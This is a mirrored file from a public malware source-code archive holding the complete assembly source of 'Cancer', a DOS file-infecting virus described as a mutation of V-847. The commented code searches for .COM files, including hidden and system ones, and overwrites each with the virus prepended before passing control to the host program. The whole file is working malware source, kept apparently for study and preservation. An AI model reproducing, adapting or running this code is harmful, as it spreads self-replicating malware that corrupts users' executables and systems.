mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 06:25:27 +00:00
4b9382ddbc
push
128 lines
2.4 KiB
NASM
128 lines
2.4 KiB
NASM
page ,132
|
||
name CANCER
|
||
title Cancer - a mutation of the V-847 virus
|
||
.radix 16
|
||
code segment
|
||
assume cs:code,ds:code
|
||
org 100
|
||
|
||
olddta equ 80
|
||
virlen equ offset endcode - offset start
|
||
smalcod equ offset endcode - offset transf
|
||
buffer equ offset endcode + 100
|
||
newdta equ offset endcode + 10
|
||
fname = newdta + 1E
|
||
virlenx = offset endcode - offset start
|
||
|
||
start:
|
||
jmp cancer
|
||
|
||
ident dw 'VI'
|
||
counter db 0
|
||
allcom db '*.COM',0
|
||
vleng db virlen
|
||
n_10D db 3 ;Unused
|
||
progbeg dd ?
|
||
eof dw ?
|
||
handle dw ?
|
||
|
||
cancer:
|
||
mov ax,cs ;Move program code
|
||
add ax,1000 ; 64K bytes forward
|
||
mov es,ax
|
||
inc [counter]
|
||
mov si,offset start
|
||
xor di,di
|
||
mov cx,virlen
|
||
rep movsb
|
||
|
||
mov dx,newdta ;Set new Disk Transfer Address
|
||
mov ah,1A ;Set DTA
|
||
int 21
|
||
mov dx,offset allcom ;Search for '*.COM' files
|
||
mov cx,110b ;Normal, Hidden or System
|
||
mov ah,4E ;Find First file
|
||
int 21
|
||
jc done ;Quit if none found
|
||
|
||
mainlp:
|
||
mov dx,offset fname
|
||
mov ax,3D02 ;Open file in Read/Write mode
|
||
int 21
|
||
mov [handle],ax ;Save handle
|
||
mov bx,ax
|
||
push es
|
||
pop ds
|
||
mov dx,buffer
|
||
mov cx,0FFFF ;Read all bytes
|
||
mov ah,3F ;Read from handle
|
||
int 21 ;Bytes read in AX
|
||
add ax,buffer
|
||
mov cs:[eof],ax ;Save pointer to the end of file
|
||
|
||
xor cx,cx ;Go to file beginning
|
||
mov dx,cx
|
||
mov bx,cs:[handle]
|
||
mov ax,4200 ;LSEEK from the beginning of the file
|
||
int 21
|
||
jc close ;Leave this file if error occures
|
||
|
||
mov dx,0 ;Write the whole code (virus+file)
|
||
mov cx,cs:[eof] ; back onto the file
|
||
mov bx,cs:[handle]
|
||
mov ah,40 ;Write to handle
|
||
int 21
|
||
|
||
close:
|
||
mov bx,cs:[handle]
|
||
mov ah,3E ;Close the file
|
||
int 21
|
||
|
||
push cs
|
||
pop ds ;Restore DS
|
||
mov ah,4F ;Find next matching file
|
||
mov dx,newdta
|
||
int 21
|
||
jc done ;Exit if all found
|
||
jmp mainlp ;Otherwise loop again
|
||
|
||
done:
|
||
mov dx,olddta ;Restore old Disk Transfer Address
|
||
mov ah,1A ;Set DTA
|
||
int 21
|
||
|
||
mov si,offset transf ;Move this part of code
|
||
mov cx,smalcod ;Code length
|
||
xor di,di ;Move to ES:0
|
||
rep movsb ;Do it
|
||
|
||
xor di,di ;Clear DI
|
||
mov word ptr cs:[progbeg],0
|
||
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||
jmp cs:[progbeg] ;Jump at program start
|
||
|
||
transf:
|
||
push ds
|
||
pop es
|
||
mov si,buffer+100
|
||
cmp [counter],1
|
||
jne skip
|
||
sub si,200
|
||
skip:
|
||
mov di,offset start
|
||
mov cx,0FFFF ;Restore original program's code
|
||
sub cx,si
|
||
rep movsb
|
||
mov word ptr cs:[start],offset start
|
||
mov word ptr cs:[start+2],ds
|
||
jmp dword ptr cs:[start] ;Jump to program start
|
||
endcode label byte
|
||
|
||
int 20 ;Dummy program
|
||
int 20 ;???
|
||
|
||
db 0 ;Unused
|
||
|
||
code ends
|
||
end start
|
||
|